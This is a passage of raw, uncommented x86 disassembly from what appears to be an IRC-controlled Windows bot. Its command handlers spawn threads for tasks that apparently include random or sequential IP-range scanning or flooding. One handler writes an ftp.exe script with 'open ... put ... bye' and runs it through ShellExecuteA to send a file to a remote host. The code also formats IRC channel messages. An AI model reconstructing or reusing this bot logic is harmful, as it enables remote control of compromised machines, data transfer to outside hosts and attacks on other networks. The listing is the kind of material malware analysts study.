jmp loc_405F5E ; --------------------------------------------------------------------------- loc_406FE5: ; CODE XREF: sub_401B66+548Dj push 32h call dword_428064 ; Sleep loc_406FED: ; CODE XREF: sub_401B66+546Cj cmp [ebp+var_FEC], ebx jz short loc_406FE5 jmp loc_406EC5 ; --------------------------------------------------------------------------- loc_406FFA: ; CODE XREF: sub_401B66+538Fj push 1FFh lea eax, [ebp+var_2C0] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax call sub_41BDC0 jmp loc_405F6A ; --------------------------------------------------------------------------- loc_407015: ; CODE XREF: sub_401B66+4F2Fj ; sub_401B66+4F46j push edi lea eax, [ebp+var_2C0] push [ebp+arg_10] push [ebp+arg_0] push offset unk_42BF90 push eax call sub_41C056 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409982 push [ebp+arg_0] call sub_41B7B0 push edi mov [ebp+arg_20], eax call sub_41B7B0 mov ecx, [ebp+arg_20] push [ebp+arg_10] add ecx, eax mov [ebp+arg_20], ecx call sub_41B7B0 mov ecx, [ebp+arg_20] push [ebp+arg_8] add ecx, eax mov [ebp+arg_20], ecx call sub_41B7B0 add eax, [ebp+var_C] mov ecx, [ebp+arg_20] push [ebp+arg_18] lea eax, [eax+ecx+7] push eax call sub_41C0D0 add esp, 40h mov [ebp+arg_C], eax push [ebp+arg_0] call sub_41BF49 mov edi, [ebp+arg_1C] cmp eax, ebx pop ecx mov [ebp+arg_14], eax mov [ebp+arg_20], ebx jle short loc_40711D loc_4070A6: ; CODE XREF: sub_401B66+5564j push [ebp+arg_C] push edi push [ebp+arg_10] call sub_418D6C add esp, 0Ch cmp eax, 1 mov [ebp+arg_1C], eax jz short loc_4070CE cmp eax, ebx jnz short loc_4070ED inc [ebp+arg_20] mov eax, [ebp+arg_20] cmp eax, [ebp+arg_14] jl short loc_4070A6 jmp short loc_407126 ; --------------------------------------------------------------------------- loc_4070CE: ; CODE XREF: sub_401B66+5555j push ebx push [ebp+var_4] push offset unk_42BF58 loc_4070D7: ; CODE XREF: sub_401B66+55C9j push [ebp+var_88] push [ebp+arg_4] call sub_409982 add esp, 14h jmp loc_4072A0 ; --------------------------------------------------------------------------- loc_4070ED: ; CODE XREF: sub_401B66+5559j push [ebp+arg_1C] lea eax, [ebp+var_2C0] push offset unk_42BF24 push eax call sub_41C056 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409982 add esp, 20h loc_40711D: ; CODE XREF: sub_401B66+553Ej cmp [ebp+arg_1C], ebx jnz loc_4072A0 loc_407126: ; CODE XREF: sub_401B66+5566j push ebx push [ebp+var_4] push offset unk_42BEF0 jmp short loc_4070D7 ; --------------------------------------------------------------------------- loc_407131: ; CODE XREF: sub_401B66+4EEAj ; sub_401B66+4F01j ... mov eax, [ebp+var_8] push 7Fh push [ebp+arg_10] mov [ebp+var_C60], eax mov eax, [ebp+var_4] mov [ebp+var_C64], eax lea eax, [ebp+var_CF8] push eax call sub_41BDC0 push edi call sub_41BF49 push [ebp+arg_0] mov [ebp+var_C78], eax call sub_41BF49 push [ebp+arg_18] mov [ebp+var_C74], eax call sub_41BF49 mov esi, [ebp+esi+var_7C] add esp, 18h cmp esi, ebx mov [ebp+var_C70], eax jz short loc_407196 push esi call sub_41BF49 pop ecx mov [ebp+var_C6C], eax jmp short loc_40719C ; --------------------------------------------------------------------------- loc_407196: ; CODE XREF: sub_401B66+561Fj mov [ebp+var_C6C], ebx loc_40719C: ; CODE XREF: sub_401B66+562Ej push 7Fh lea eax, [ebp+var_D78] push [ebp+var_88] push eax call sub_41BDC0 push [ebp+var_C70] mov esi, [ebp+arg_4] lea eax, [ebp+var_CF8] mov [ebp+var_D7C], esi push [ebp+var_C74] push eax lea eax, [ebp+var_2C0] push [ebp+var_C78] push offset unk_42BEA8 push eax call sub_41C056 push ebx lea eax, [ebp+var_2C0] push 17h push eax call sub_40AF8D add esp, 30h mov [ebp+var_C68], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_D7C] push ebx push eax push offset sub_413A3C push ebx push ebx call dword_42807C ; CreateThread mov ecx, [ebp+var_C68] imul ecx, 234h cmp eax, ebx mov dword_440BAC[ecx], eax jnz short loc_407243 call dword_42808C ; RtlGetLastWin32Error push eax push offset unk_42BE70 jmp loc_407FF0 ; --------------------------------------------------------------------------- loc_40723B: ; CODE XREF: sub_401B66+56E3j push 32h call dword_428064 ; Sleep loc_407243: ; CODE XREF: sub_401B66+56C2j cmp [ebp+var_C5C], ebx jz short loc_40723B jmp loc_407FFF ; --------------------------------------------------------------------------- loc_407250: ; CODE XREF: sub_401B66+4EBCj ; sub_401B66+4ED3j push 0Bh call sub_40B1CF push edi mov [ebp+arg_1C], eax call sub_41BF49 add eax, [ebp+arg_1C] pop ecx pop ecx cmp eax, 1F4h jle loc_407419 push [ebp+arg_1C] lea eax, [ebp+var_2C0] push offset unk_42BE30 push eax call sub_41C056 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409982 add esp, 20h loc_4072A0: ; CODE XREF: sub_401B66+5191j ; sub_401B66+5582j ... mov esi, [ebp+esi+var_7C] cmp esi, ebx jz loc_401F9E push [ebp+arg_8] push offset aUpload ; "upload" call sub_41C840 pop ecx test eax, eax pop ecx jnz loc_40976F push 4 push esi call sub_416E71 pop ecx test eax, eax pop ecx jnz short loc_4072EB push esi push offset unk_42BE08 loc_4072D7: ; CODE XREF: sub_401B66+7A0Fj lea eax, [ebp+var_2C0] push eax call sub_41C056 add esp, 0Ch jmp loc_403FC3 ; --------------------------------------------------------------------------- loc_4072EB: ; CODE XREF: sub_401B66+5769j call dword_4280A8 ; GetTickCount push eax call sub_41C0A8 pop ecx call sub_41C0B2 push 9 cdq pop ecx idiv ecx push edx call sub_41C0B2 push 63h cdq pop ecx idiv ecx push edx call sub_41C0B2 cdq mov ecx, 3E7h idiv ecx lea eax, [ebp+var_51F4] push edx push eax lea eax, [ebp+var_2BB0] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax call sub_41C056 lea eax, [ebp+var_2BB0] push offset aAb ; "ab" push eax call sub_41BC92 add esp, 20h cmp eax, ebx mov [ebp+arg_24], eax jz loc_401F9E push esi push [ebp+arg_18] push [ebp+arg_0] push edi push [ebp+arg_10] push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax call sub_41C5D6 push [ebp+arg_24] call sub_41B82B lea eax, [ebp+var_2BB0] push eax lea eax, [ebp+var_4CEC] push offset aSS_3 ; "-s:%s" push eax call sub_41C056 add esp, 2Ch lea eax, [ebp+var_4CEC] push ebx push ebx push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen ; "open" push ebx call dword_4CDBD0 ; ShellExecuteA push [ebp+arg_10] test eax, eax push esi jz short loc_4073B7 push offset unk_42BD98 jmp short loc_4073BC ; --------------------------------------------------------------------------- loc_4073B7: ; CODE XREF: sub_401B66+5848j push offset unk_42BD68 loc_4073BC: ; CODE XREF: sub_401B66+584Fj call sub_41C056 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4073E5 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409982 add esp, 14h loc_4073E5: ; CODE XREF: sub_401B66+5861j lea eax, [ebp+var_2C0] push eax call sub_4157A5 jmp short loc_4073FF ; --------------------------------------------------------------------------- loc_4073F3: ; CODE XREF: sub_401B66+58ACj lea eax, [ebp+var_2BB0] push eax call sub_41C5AC loc_4073FF: ; CODE XREF: sub_401B66+588Bj lea eax, [ebp+var_2BB0] push 4 push eax call sub_416E71 add esp, 0Ch test eax, eax jnz short loc_4073F3 jmp loc_401F9E ; --------------------------------------------------------------------------- loc_407419: ; CODE XREF: sub_401B66+5704j push [ebp+arg_10] call sub_41BF49 push edi mov [ebp+var_36C], eax call sub_41BF49 push [ebp+arg_0] mov [ebp+var_354], eax call sub_41BF49 add esp, 0Ch cmp eax, 5 mov [ebp+var_368], eax jnb short loc_407452 push 5 pop eax mov [ebp+var_368], eax loc_407452: ; CODE XREF: sub_401B66+58E1j push 3Ch pop ecx cmp eax, ecx jbe short loc_40745F mov [ebp+var_368], ecx loc_40745F: ; CODE XREF: sub_401B66+58F1j push [ebp+arg_18] call sub_41BF49 mov [ebp+var_364], eax mov eax, 320h cmp [ebp+var_364], eax pop ecx jbe short loc_407481 mov [ebp+var_364], eax loc_407481: ; CODE XREF: sub_401B66+5913j or [ebp+var_350], 0FFFFFFFFh cmp dword_432A90, ebx mov [ebp+arg_20], ebx jz short loc_4074D0 mov edi, offset dword_432A90 loc_407498: ; CODE XREF: sub_401B66+594Cj push [ebp+arg_10] lea eax, [edi-28h] push eax call sub_41C840 pop ecx test eax, eax pop ecx jz short loc_4074B6 inc [ebp+arg_20] add edi, 40h cmp [edi], ebx jnz short loc_407498 jmp short loc_4074D0 ; --------------------------------------------------------------------------- loc_4074B6: ; CODE XREF: sub_401B66+5942j mov eax, [ebp+arg_20] mov ecx, eax mov [ebp+var_350], eax shl ecx, 6 mov ecx, dword_432A90[ecx] mov [ebp+var_36C], ecx loc_4074D0: ; CODE XREF: sub_401B66+592Bj ; sub_401B66+594Ej cmp [ebp+var_36C], ebx jnz short loc_4074E2 push offset unk_42BD34 jmp loc_406EB7 ; --------------------------------------------------------------------------- loc_4074E2: ; CODE XREF: sub_401B66+5970j mov edi, [ebp+esi+var_7C] cmp edi, ebx mov [ebp+arg_0], edi jz short loc_40751D cmp byte ptr [edi], 23h jz short loc_40751D push edi lea eax, [ebp+var_480] push 10h push eax call sub_41C150 push 78h push edi call sub_41C780 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp+var_340], eax jmp loc_4075F7 ; --------------------------------------------------------------------------- loc_40751D: ; CODE XREF: sub_401B66+5985j ; sub_401B66+598Aj cmp [ebp+var_8FB], bl jnz short loc_40753F cmp [ebp+var_8FA], bl jnz short loc_40753F cmp [ebp+var_8EA], bl jnz short loc_40753F push offset unk_42BD00 jmp loc_406EB7 ; --------------------------------------------------------------------------- loc_40753F: ; CODE XREF: sub_401B66+59BDj ; sub_401B66+59C5j ... push 10h lea eax, [ebp+var_2CC] pop edi push eax lea eax, [ebp+var_304] push eax mov [ebp+var_2CC], edi push [ebp+arg_4] call dword_4CDC08 ; getsockname mov al, [ebp+var_8FB] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_300], eax push [ebp+var_300] call dword_4CDCF0 ; inet_ntoa push eax lea eax, [ebp+var_480] push eax call sub_41BDC0 add esp, 0Ch cmp [ebp+var_8EA], bl jz short loc_4075F1 xor eax, eax cmp [ebp+var_8FB], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_480] push eax call sub_41C610 pop ecx cmp edi, ebx pop ecx mov byte ptr [ebp+arg_24+3], bl jle short loc_4075E5 loc_4075C3: ; CODE XREF: sub_401B66+5A7Dj cmp eax, ebx jz short loc_4075E5 mov byte ptr [eax], 78h lea eax, [ebp+var_480] push 30h push eax call sub_41C610 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_4075C3 loc_4075E5: ; CODE XREF: sub_401B66+5A5Bj ; sub_401B66+5A5Fj mov [ebp+var_340], 1 jmp short loc_4075F7 ; --------------------------------------------------------------------------- loc_4075F1: ; CODE XREF: sub_401B66+5A35j mov [ebp+var_340], ebx loc_4075F7: ; CODE XREF: sub_401B66+59B2j ; sub_401B66+5A89j mov eax, [ebp+arg_4] push [ebp+var_88] mov [ebp+var_370], eax mov eax, [ebp+var_4] mov [ebp+var_348], eax mov eax, [ebp+var_8] mov [ebp+var_344], eax mov edi, 80h lea eax, [ebp+var_470] push edi push eax call sub_41C150 mov esi, [ebp+esi+var_78] add esp, 0Ch cmp esi, ebx jz short loc_407648 loc_407635: ; CODE XREF: sub_401B66+5B05j push esi loc_407636: ; CODE XREF: sub_401B66+5AEFj lea eax, [ebp+var_3F0] push edi push eax call sub_41C150 add esp, 0Ch jmp short loc_407673 ; --------------------------------------------------------------------------- loc_407648: ; CODE XREF: sub_401B66+5ACDj mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_407657 cmp byte ptr [eax], 23h jnz short loc_407657 push eax jmp short loc_407636 ; --------------------------------------------------------------------------- loc_407657: ; CODE XREF: sub_401B66+5AE7j ; sub_401B66+5AECj mov esi, offset aGxxx_0 ; "#Gxxx" push offset byte_43FE14 push esi call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_407635 mov [ebp+var_3F0], bl loc_407673: ; CODE XREF: sub_401B66+5AE0j cmp [ebp+var_340], ebx mov eax, offset aRandom ; "Random" jnz short loc_407685 mov eax, offset aSequential ; "Sequential" loc_407685: ; CODE XREF: sub_401B66+5B18j push [ebp+var_354] lea ecx, [ebp+var_480] push [ebp+var_364] push [ebp+var_368] push [ebp+var_36C] push ecx push eax lea eax, [ebp+var_2C0] push offset unk_42BC98 push eax call sub_41C056 push ebx lea eax, [ebp+var_2C0] push 0Bh push eax call sub_40AF8D add esp, 2Ch mov [ebp+var_360], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_480] push ebx push eax push offset sub_40C1BE push ebx push ebx call dword_42807C ; CreateThread mov ecx, [ebp+var_360] imul ecx, 234h cmp eax, ebx mov dword_440BAC[ecx], eax jnz short loc_407716 call dword_42808C ; RtlGetLastWin32Error push eax push offset unk_42BC60 jmp loc_405F5E ; --------------------------------------------------------------------------- loc_40770E: ; CODE XREF: sub_401B66+5BB6j push 32h call dword_428064 ; Sleep loc_407716: ; CODE XREF: sub_401B66+5B95j cmp [ebp+var_33C], ebx jz short loc_40770E jmp loc_406EC5 ; --------------------------------------------------------------------------- loc_407723: ; CODE XREF: sub_401B66+4E8Ej ; sub_401B66+4EA5j push [ebp+arg_10] call sub_40AA04 push edi mov [ebp+var_4DC], eax call sub_41BF49 push [ebp+arg_0] mov [ebp+var_4EC], eax call sub_41BF49 push [ebp+arg_18] mov [ebp+var_4E8], eax call sub_41BF49 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_4E4], eax lea eax, [ebp+var_56C] mov [ebp+var_570], esi push eax call sub_41BDC0 add esp, 1Ch mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_4D4], edi push [ebp+var_4E8] mov [ebp+var_4D0], eax push [ebp+var_4EC] push [ebp+var_4E4] push [ebp+var_4DC] call dword_4CDCF0 ; inet_ntoa push eax lea eax, [ebp+var_2C0] push offset unk_42BC10 push eax call sub_41C056 push ebx lea eax, [ebp+var_2C0] push 0Bh push eax call sub_40AF8D add esp, 24h mov [ebp+var_4E0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_570] push ebx push eax push offset sub_40C5D3 push ebx push ebx call dword_42807C ; CreateThread mov ecx, [ebp+var_4E0] imul ecx, 234h cmp eax, ebx mov dword_440BAC[ecx], eax jnz short loc_40781B call dword_42808C ; RtlGetLastWin32Error push eax push offset unk_42BBD0 jmp loc_403E6C ; --------------------------------------------------------------------------- loc_407813: ; CODE XREF: sub_401B66+5CBBj push 32h call dword_428064 ; Sleep loc_40781B: ; CODE XREF: sub_401B66+5C9Aj cmp [ebp+var_4CC], ebx jz short loc_407813 jmp loc_403E7B ; --------------------------------------------------------------------------- loc_407828: ; CODE XREF: sub_401B66+4E51j ; sub_401B66+4E68j push [ebp+arg_10] call sub_41BF49 imul eax, 234h pop ecx cmp byte_440BB0[eax], bl jz loc_40976F cmp [ebp+var_C], ebx jz loc_40976F push edi call sub_41B7B0 push [ebp+arg_10] mov esi, eax call sub_41B7B0 push [ebp+arg_8] add esi, eax call sub_41B7B0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_41C0D0 mov esi, eax lea eax, [ebp+var_2C0] push esi push offset dword_42BBC4 push eax call sub_41C056 add esp, 20h cmp esi, ebx jz loc_40976F push [ebp+arg_10] call sub_41BF49 test eax, eax pop ecx jle loc_40976F push [ebp+arg_10] call sub_41BF49 cmp eax, 400h pop ecx jge loc_40976F push ebx lea eax, [ebp+var_2C0] push ebx push eax push edi push [ebp+arg_10] call sub_41BF49 imul eax, 234h pop ecx push dword_440BA4[eax] call sub_409982 push [ebp+arg_10] call sub_41BF49 imul eax, 234h add esp, 18h cmp byte ptr dword_440998[eax], 73h jnz loc_40976F push esi push [ebp+arg_10] call sub_41BF49 imul eax, 234h pop ecx add eax, offset byte_440BB0 push eax push edi push offset aSSS_2 ; "[%s] * %s %s" loc_407918: ; CODE XREF: sub_401B66+5EB4j lea eax, [ebp+var_2C0] push eax call sub_41C056 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409982 jmp loc_4040AA ; --------------------------------------------------------------------------- loc_407942: ; CODE XREF: sub_401B66+4E23j ; sub_401B66+4E3Aj push [ebp+arg_10] call sub_41BF49 imul eax, 234h pop ecx cmp byte_440BB0[eax], bl jz loc_40976F cmp [ebp+var_C], ebx jz loc_40976F push edi call sub_41B7B0 push [ebp+arg_10] mov esi, eax call sub_41B7B0 push [ebp+arg_8] add esi, eax call sub_41B7B0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_41C0D0 mov esi, eax add esp, 14h cmp esi, ebx jz loc_40976F push [ebp+arg_10] call sub_41BF49 test eax, eax pop ecx jle loc_40976F push [ebp+arg_10] call sub_41BF49 cmp eax, 400h pop ecx jge loc_40976F push ebx push ebx push esi push edi push [ebp+arg_10] call sub_41BF49 imul eax, 234h pop ecx push dword_440BA4[eax] call sub_409982 push [ebp+arg_10] call sub_41BF49 imul eax, 234h add esp, 18h cmp byte ptr dword_440998[eax], 73h jnz loc_40976F push esi push [ebp+arg_10] call sub_41BF49 imul eax, 234h pop ecx add eax, offset byte_440BB0 push eax push edi push offset aSSS_1 ; "[%s] <%s> %s" jmp loc_407918 ; --------------------------------------------------------------------------- loc_407A1F: ; CODE XREF: sub_401B66+4DF5j ; sub_401B66+4E0Cj push [ebp+arg_10] call dword_4CDCA4 ; inet_addr push edi mov [ebp+var_67C], eax call sub_41BF49 push [ebp+arg_0] mov [ebp+var_68C], eax call sub_41BF49 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_684], eax lea eax, [ebp+var_70C] mov [ebp+var_710], esi push eax call sub_41BDC0 add esp, 14h mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_674], edi push [ebp+var_684] mov [ebp+var_670], eax push [ebp+var_68C] push [ebp+var_67C] call dword_4CDCF0 ; inet_ntoa push eax lea eax, [ebp+var_2C0] push offset unk_42BB68 push eax call sub_41C056 push ebx lea eax, [ebp+var_2C0] push 0Bh push eax call sub_40AF8D add esp, 20h mov [ebp+var_680], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_710] push ebx push eax push offset sub_40C4E2 push ebx push ebx call dword_42807C ; CreateThread mov ecx, [ebp+var_680] imul ecx, 234h cmp eax, ebx mov dword_440BAC[ecx], eax jnz short loc_407B04 call dword_42808C ; RtlGetLastWin32Error push eax push offset unk_42BC60 jmp loc_403E6C ; --------------------------------------------------------------------------- loc_407AFC: ; CODE XREF: sub_401B66+5FA4j push 32h call dword_428064 ; Sleep loc_407B04: ; CODE XREF: sub_401B66+5F83j cmp [ebp+var_66C], ebx jz short loc_407AFC jmp loc_403E7B ; --------------------------------------------------------------------------- loc_407B11: ; CODE XREF: sub_401B66+4DC7j ; sub_401B66+4DDEj push [ebp+arg_10] call sub_41BF49 mov [ebp+var_1128], eax push 7Fh lea eax, [ebp+var_122C] push edi push eax call sub_41BDC0 push [ebp+arg_0] call sub_41BF49 push [ebp+var_88] mov esi, [ebp+arg_4] mov [ebp+var_112C], eax lea eax, [ebp+var_11AC] push 80h push eax mov [ebp+var_1234], esi call sub_41C150 mov eax, [ebp+var_8] add esp, 20h mov edi, [ebp+var_4] mov [ebp+var_1118], eax push [ebp+var_112C] lea eax, [ebp+var_122C] mov [ebp+var_111C], edi push eax push [ebp+var_1128] push esi call sub_40AB14 pop ecx push eax lea eax, [ebp+var_2C0] push offset unk_42BB2C push eax call sub_41C056 push ebx lea eax, [ebp+var_2C0] push 18h push eax call sub_40AF8D add esp, 24h mov [ebp+var_1124], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1234] push ebx push eax push offset sub_410A44 push ebx push ebx call dword_42807C ; CreateThread mov ecx, [ebp+var_1124] imul ecx, 234h cmp eax, ebx mov dword_440BAC[ecx], eax jnz short loc_407BFD call dword_42808C ; RtlGetLastWin32Error push eax push offset unk_42BAE8 jmp loc_403E6C ; --------------------------------------------------------------------------- loc_407BF5: ; CODE XREF: sub_401B66+609Dj push 32h call dword_428064 ; Sleep loc_407BFD: ; CODE XREF: sub_401B66+607Cj cmp [ebp+var_1114], ebx jz short loc_407BF5 jmp loc_403E7B ; --------------------------------------------------------------------------- loc_407C0A: ; CODE XREF: sub_401B66+4D99j ; sub_401B66+4DB0j push 0FFh lea eax, [ebp+var_25CC] push [ebp+arg_10] push eax call sub_41BDC0 push 0FFh lea eax, [ebp+var_24CC] push edi push eax call sub_41BDC0 push [ebp+arg_0] mov [ebp+var_23C8], ebx call sub_41BF49 mov [ebp+var_23C4], eax mov eax, [ebp+esi+var_80] add esp, 1Ch cmp eax, ebx jz short loc_407C63 push 10h push ebx push eax call sub_41C595 add esp, 0Ch mov [ebp+var_23BC], eax jmp short loc_407C69 ; --------------------------------------------------------------------------- loc_407C63: ; CODE XREF: sub_401B66+60E7j mov [ebp+var_23BC], ebx loc_407C69: ; CODE XREF: sub_401B66+60FBj mov esi, [ebp+esi+var_7C] cmp esi, ebx jz short loc_407C80 push esi call sub_41BF49 pop ecx mov [ebp+var_23C0], eax jmp short loc_407C86 ; --------------------------------------------------------------------------- loc_407C80: ; CODE XREF: sub_401B66+6109j mov [ebp+var_23C0], ebx loc_407C86: ; CODE XREF: sub_401B66+6118j movzx eax, [ebp+var_8F7] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_23B8], eax lea eax, [ebp+var_264C] mov [ebp+var_2650], esi push eax call sub_41BDC0 mov eax, [ebp+var_4] push edi push [ebp+arg_10] mov [ebp+var_23B0], eax mov eax, [ebp+var_8] mov [ebp+var_23B4], eax lea eax, [ebp+var_2C0] push offset unk_42BABC push eax call sub_41C056 push esi lea eax, [ebp+var_2C0] push 1Dh push eax call sub_40AF8D add esp, 28h mov [ebp+var_23CC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2650] push ebx push eax push offset sub_416975 push ebx push ebx call dword_42807C ; CreateThread mov ecx, [ebp+var_23CC] imul ecx, 234h cmp eax, ebx mov dword_440BAC[ecx], eax jnz short loc_407D37 call dword_42808C ; RtlGetLastWin32Error push eax push offset unk_42BA7C jmp loc_407FF0 ; --------------------------------------------------------------------------- loc_407D2F: ; CODE XREF: sub_401B66+61D7j push 32h call dword_428064 ; Sleep loc_407D37: ; CODE XREF: sub_401B66+61B6j cmp [ebp+var_23AC], ebx jz short loc_407D2F jmp loc_407FFF ; --------------------------------------------------------------------------- loc_407D44: ; CODE XREF: sub_401B66+4D6Bj ; sub_401B66+4D82j push 7Fh lea eax, [ebp+var_36A0] pop esi push esi push [ebp+arg_10] push eax call sub_41BDC0 push esi lea eax, [ebp+var_3620] push edi push eax call sub_41BDC0 push esi lea eax, [ebp+var_35A0] push [ebp+arg_0] push eax call sub_41BDC0 push esi lea eax, [ebp+var_3520] push [ebp+var_88] push eax call sub_41BDC0 push [ebp+arg_0] mov eax, [ebp+var_4] mov esi, [ebp+arg_4] mov [ebp+var_349C], eax mov eax, [ebp+var_8] push edi push [ebp+arg_10] mov [ebp+var_3498], eax lea eax, [ebp+var_2C0] mov [ebp+var_36A4], esi push offset unk_42BA40 push eax call sub_41C056 add esp, 44h lea eax, [ebp+var_2C0] push ebx push 12h push eax call sub_40AF8D add esp, 0Ch mov [ebp+var_34A0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_36A4] push ebx push eax push offset sub_4150A6 push ebx push ebx call dword_42807C ; CreateThread mov ecx, [ebp+var_34A0] imul ecx, 234h cmp eax, ebx mov dword_440BAC[ecx], eax jnz short loc_407E1E call dword_42808C ; RtlGetLastWin32Error push eax push offset unk_42BA08 jmp loc_407FF0 ; --------------------------------------------------------------------------- loc_407E16: ; CODE XREF: sub_401B66+62BEj push 32h call dword_428064 ; Sleep loc_407E1E: ; CODE XREF: sub_401B66+629Dj cmp [ebp+var_3494], ebx jz short loc_407E16 jmp loc_407FFF ; --------------------------------------------------------------------------- loc_407E2B: ; CODE XREF: sub_401B66+4C3Fj ; sub_401B66+4C56j push 7Fh lea eax, [ebp+var_3278] pop esi push esi push [ebp+arg_10] push eax call sub_41BDC0 push esi lea eax, [ebp+var_31F8] push edi push eax call sub_41BDC0 push esi lea eax, [ebp+var_3178] push [ebp+arg_0] push eax call sub_41BDC0 push esi lea eax, [ebp+var_30F8] push [ebp+var_88] push eax call sub_41BDC0 push [ebp+arg_0] mov eax, [ebp+var_4] mov esi, [ebp+arg_4] mov [ebp+var_3074], eax mov eax, [ebp+var_8] push edi push [ebp+arg_10] mov [ebp+var_3070], eax lea eax, [ebp+var_2C0] mov [ebp+var_327C], esi push offset unk_42B9D8 push eax call sub_41C056 add esp, 44h lea eax, [ebp+var_2C0] push ebx push 0Eh push eax call sub_40AF8D add esp, 0Ch mov [ebp+var_3078], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_327C] push ebx push eax push offset sub_413DEC push ebx push ebx call dword_42807C ; CreateThread mov ecx, [ebp+var_3078] imul ecx, 234h cmp eax, ebx mov dword_440BAC[ecx], eax jnz short loc_407F05 call dword_42808C ; RtlGetLastWin32Error push eax push offset unk_42B9A0 jmp loc_407FF0 ; --------------------------------------------------------------------------- loc_407EFD: ; CODE XREF: sub_401B66+63A5j push 32h call dword_428064 ; Sleep loc_407F05: ; CODE XREF: sub_401B66+6384j cmp [ebp+var_306C], ebx jz short loc_407EFD jmp loc_407FFF ; --------------------------------------------------------------------------- loc_407F12: ; CODE XREF: sub_401B66+4B17j ; sub_401B66+4B2Ej ... push 7Fh lea eax, [ebp+var_3F7C] pop esi push esi push [ebp+arg_10] push eax call sub_41BDC0 push esi lea eax, [ebp+var_3EFC] push edi push eax call sub_41BDC0 push esi lea eax, [ebp+var_3E7C] push [ebp+arg_0] push eax call sub_41BDC0 push esi lea eax, [ebp+var_3DFC] push [ebp+var_88] push eax call sub_41BDC0 push 20h lea eax, [ebp+var_3D7C] push [ebp+arg_8] push eax call sub_41BDC0 push [ebp+arg_0] mov eax, [ebp+var_4] mov esi, [ebp+arg_4] mov [ebp+var_3CFC], eax mov eax, [ebp+var_8] push edi push [ebp+arg_10] mov [ebp+var_3CF8], eax lea eax, [ebp+var_2C0] mov [ebp+var_3F84], esi push offset unk_42B970 push eax call sub_41C056 add esp, 50h lea eax, [ebp+var_2C0] push ebx push 0Dh push eax call sub_40AF8D add esp, 0Ch mov [ebp+var_3F80], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3F84] push ebx push eax push offset sub_413081 push ebx push ebx call dword_42807C ; CreateThread mov ecx, [ebp+var_3F80] imul ecx, 234h cmp eax, ebx mov dword_440BAC[ecx], eax jnz short loc_408019 call dword_42808C ; RtlGetLastWin32Error push eax push offset unk_42B938 loc_407FF0: ; CODE XREF: sub_401B66+4D40j ; sub_401B66+56D0j ... lea eax, [ebp+var_2C0] push eax call sub_41C056 add esp, 0Ch loc_407FFF: ; CODE XREF: sub_401B66+4D55j ; sub_401B66+56E5j ... cmp [ebp+var_8], ebx jnz loc_402418 push ebx push [ebp+var_4] jmp loc_403E86 ; --------------------------------------------------------------------------- loc_408011: ; CODE XREF: sub_401B66+64B9j push 32h call dword_428064 ; Sleep loc_408019: ; CODE XREF: sub_401B66+647Cj cmp [ebp+var_3CF4], ebx jz short loc_408011 jmp short loc_407FFF ; --------------------------------------------------------------------------- loc_408023: ; CODE XREF: sub_401B66+4AE9j ; sub_401B66+4B00j push 7Fh lea eax, [ebp+var_1774] push [ebp+arg_10] push eax call sub_41BDC0 push edi call sub_41BF49 push 3Fh mov [ebp+var_1624], eax push [ebp+arg_0] lea eax, [ebp+var_16F4] push eax call sub_41BDC0 mov esi, [ebp+esi+var_80] add esp, 1Ch cmp esi, ebx jz short loc_40806E push 3Fh lea eax, [ebp+var_16B4] push esi push eax call sub_41BDC0 add esp, 0Ch loc_40806E: ; CODE XREF: sub_401B66+64F4j lea eax, [ebp+var_16F4] mov [ebp+var_1620], 1 push eax lea eax, [ebp+var_1774] push [ebp+var_1624] push eax lea eax, [ebp+var_2C0] push offset dword_42B908 push eax call sub_41C056 push ebx lea eax, [ebp+var_2C0] push 1Fh push eax call sub_40AF8D add esp, 20h mov [ebp+var_161C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1778] push ebx push eax push offset sub_401891 push ebx push ebx call dword_42807C ; CreateThread mov ecx, [ebp+var_161C] imul ecx, 234h cmp eax, ebx mov dword_440BAC[ecx], eax jnz short loc_4080FD call dword_42808C ; RtlGetLastWin32Error push eax push offset dword_42B8CC jmp loc_406C8C ; --------------------------------------------------------------------------- loc_4080F5: ; CODE XREF: sub_401B66+659Dj push 32h call dword_428064 ; Sleep loc_4080FD: ; CODE XREF: sub_401B66+657Cj cmp [ebp+var_1618], ebx jz short loc_4080F5 jmp loc_406C9B ; --------------------------------------------------------------------------- 